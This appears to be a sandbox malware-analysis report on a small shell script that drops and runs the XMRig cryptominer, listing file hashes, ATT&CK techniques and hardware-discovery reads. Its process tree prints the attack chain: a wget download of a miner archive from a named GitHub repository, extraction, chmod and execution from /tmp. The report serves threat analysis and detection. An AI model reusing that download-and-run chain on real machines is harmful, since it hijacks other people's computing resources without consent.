xmrig | e7c5562d00c621c6fd4579c3214524aefa482206ed1d5215f5887b316922564e

General

Target

runok1.sh
Size

138B
MD5

ed44ae7cc01f7bcc21c98a523afabd7c
SHA1

4e7f50162eeb61715a948d3359639c6910088860
SHA256

1663e111eceb895f9be9e87c6cfda675e506cd8ec88d144fd1a2b5dc7081d0de
SHA512

e1c895b50b2b259d40501497ae4f9b2bb77b2d8713cd584d9c83cab82898f5e134ba6c8320810bf649867156494ea5b656143b71e269c9490da210d48a52982c

Score

10^/10

xmrig antivm defense_evasion discovery miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
/tmp/ok/xmrig	family_xmrig
/tmp/ok/xmrig	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1583 chmod
Executes dropped EXE 1 IoCs

Processes:

xmrig

ioc pid process

/tmp/ok/xmrig 1584 xmrig

pid	process
1583	chmod

ioc	pid	process
/tmp/ok/xmrig	1584	xmrig

Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

xmrig

description	ioc	process
File opened for reading	/sys/devices/virtual/dmi/id/product_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	xmrig

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

5 raw.githubusercontent.com
6 raw.githubusercontent.com
7 raw.githubusercontent.com

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
7	raw.githubusercontent.com

Reads hardware information 1 TTPs 14 IoCs

Accesses system info like serial numbers, manufacturer names etc.

discovery

System Information Discovery

T1082

Processes:

xmrig

description	ioc	process
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_name	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/board_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_version	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	xmrig
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	xmrig

Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

xmrig

description ioc process

File opened for reading /proc/cpuinfo xmrig

description	ioc	process
File opened for reading	/proc/cpuinfo	xmrig

Reads CPU attributes 1 TTPs 45 IoCs

discovery

System Information Discovery

T1082

Processes:

xmrig

description	ioc	process
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/die_cpus	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/number_of_sets	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_cpus	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/cluster_cpus	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/type	xmrig
File opened for reading	/sys/devices/system/cpu/possible	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/physical_package_id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cpu_capacity	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/type	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cpufreq/base_frequency	xmrig
File opened for reading	/sys/devices/system/cpu/online	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/size	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/id	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/number_of_sets	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/topology/package_cpus	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/number_of_sets	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/level	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map	xmrig
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/size	xmrig

Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

Processes:

xmrig

description	ioc	process
File opened for reading	/sys/fs/cgroup/cgroup.controllers	xmrig
File opened for reading	/sys/kernel/mm/hugepages	xmrig
File opened for reading	/sys/devices/system/node/node0/meminfo	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/write_bandwidth	xmrig
File opened for reading	/sys/firmware/dmi/tables/smbios_entry_point	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages	xmrig
File opened for reading	/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/devices/system/node/online	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators	xmrig
File opened for reading	/sys/firmware/dmi/tables/DMI	xmrig
File opened for reading	/sys/fs/cgroup/cpuset.cpus.effective	xmrig
File opened for reading	/sys/devices/system/cpu	xmrig
File opened for reading	/sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages	xmrig
File opened for reading	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages	xmrig
File opened for reading	/sys/devices/system/node/node0/access1/initiators	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/read_bandwidth	xmrig
File opened for reading	/sys/fs/cgroup/cpuset.mems.effective	xmrig
File opened for reading	/sys/devices/system/node/node0/cpumap	xmrig
File opened for reading	/sys/bus/dax/devices	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/read_latency	xmrig
File opened for reading	/sys/devices/system/node/node0/access0/initiators/write_latency	xmrig
File opened for reading	/sys/devices/virtual/dmi/id	xmrig

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

tarxmrig

description	ioc	process
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/mounts	xmrig
File opened for reading	/proc/self/cpuset	xmrig
File opened for reading	/proc/meminfo	xmrig
File opened for reading	/proc/driver/nvidia/gpus	xmrig
File opened for reading	/proc/sys/vm/nr_hugepages	xmrig

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgettarxmrig

description	ioc	process
File opened for modification	/tmp/ok.tar.gz	wget
File opened for modification	/tmp/ok/SHA256SUMS	tar
File opened for modification	/tmp/ok/config.json	tar
File opened for modification	/tmp/ok/xmrig	tar
File opened for modification	/tmp/ok/config.json	xmrig

/tmp/runok1.sh
/tmp/runok1.sh
1⤵
PID:1568

/usr/bin/wget
wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/ok.tar.gz
2⤵
- Writes file to tmp directory
PID:1569

/usr/bin/tar
tar xvf ok.tar.gz
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:1581

/usr/local/sbin/gzip
gzip -d
3⤵
PID:1582

/usr/local/bin/gzip
gzip -d
3⤵
PID:1582

/usr/sbin/gzip
gzip -d
3⤵
PID:1582

/usr/bin/gzip
gzip -d
3⤵
PID:1582

/usr/bin/chmod
chmod +x xmrig
2⤵
- File and Directory Permissions Modification
PID:1583

/tmp/ok/xmrig
./xmrig
2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:1584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Virtualization/Sandbox Evasion

2

T1497

System Checks

2

T1497.001

Credential Access

Discovery

System Information Discovery

3

T1082

Virtualization/Sandbox Evasion

2

T1497

System Checks

2

T1497.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

/root/.wget-hsts

Filesize
215B

MD5
b3071552f6bd22d2cb0661331c98a883

SHA1
7bb3fe0a516167c52e9ef4c72815d45351a65477

SHA256
87679fe052039e400d6cb5f0184f6d0cef7572ab6899d5bb76b115ae754f2da7

SHA512
23ce89dfdc4c160b7d808659bc0290afa80a789206aeca24254f0e1e80739ddcab580159fa73702cb237662e430cbd07308413f44ae432c12acf49c97081a8f7

Download Submit
/tmp/ok.tar.gz

Filesize
2.9MB

MD5
7cfcd8684e6e5c13287c16e6c40c5efb

SHA1
3e9202eb800602aa947b7a48cabadb4bd9742b35

SHA256
6c8df670c44f35e0015cd709b975e5e8a6616ca346b602d3ea4f3894ddf777ca

SHA512
679a968ef46605ec78ad9b72b594b96ae28ca73ea99f892ed5c69b5f264d76e03db60caa13454cf7b7d28a99dffcb134b4ce3b25f00c37846999cbbae22c4b94

Download Submit
/tmp/ok/SHA256SUMS

Filesize
150B

MD5
7fd26dcea92a3ad3561867c5735c8ecc

SHA1
400fe1a03ef6d4520b88f0c63002266586cdaa0f

SHA256
c2db0386506ea30d3b7c375ff40dfc875c2aa7961beb7806a36cf12fc10405b6

SHA512
b114cee7f7da66afc53aca2013c63ed0d12740cca8ad46a5164789fe33f1889a2ec313186a29c4fc1dd30a11041db31bb307be1884e15680f4b7627143cbf6d8

Download Submit
/tmp/ok/config.json

Filesize
2KB

MD5
06a36033ace7787c6d0677950a5e9f7f

SHA1
f052c6419d293febe45fd3d9a9be4808854f1a5b

SHA256
ce35d1da303888ed10bd705dbb12c3319cc76fb5341df3ef08dd06a7953a3f4d

SHA512
61a039548095de8cd7f7303175aadad78934548437a101c0dffbaf0346bf0504bcbcadaadd55b8d4df160b4bf6e482245973ccbe75857da149dc45d07f49c02b

Download Submit
/tmp/ok/config.json

Filesize
1KB

MD5
1879742a3f028a8e227f3b6b51756269

SHA1
20365c0cf35e787f525baede3646cfdfe6001cba

SHA256
4042908287a7c60eb515d2c180a03d25156b4001af6cba1ad823461cc86751c5

SHA512
e7d918532dd029a53b803df0df2e4e61416e18b58ffabe18b542cd30b111f266e98d73aad8ffe62a79af50e4f21d7e19415ee03ff104eb36aaad2cf1903e9731

Download Submit
/tmp/ok/xmrig

Filesize
6.7MB

MD5
8f633ade35df4f992eb28a2c5bc37cef

SHA1
6b2fe529339896b22328dec8936219e7b8e3252f

SHA256
364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

SHA512
8073ded4e0b5d6333ecb0b324cf09c023dfa99c6110ad6f86225f1a4b9a0dcdf88bd094da9c920a8b729c020990dba9f263481030dec463ab9fbc41cba050c73

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads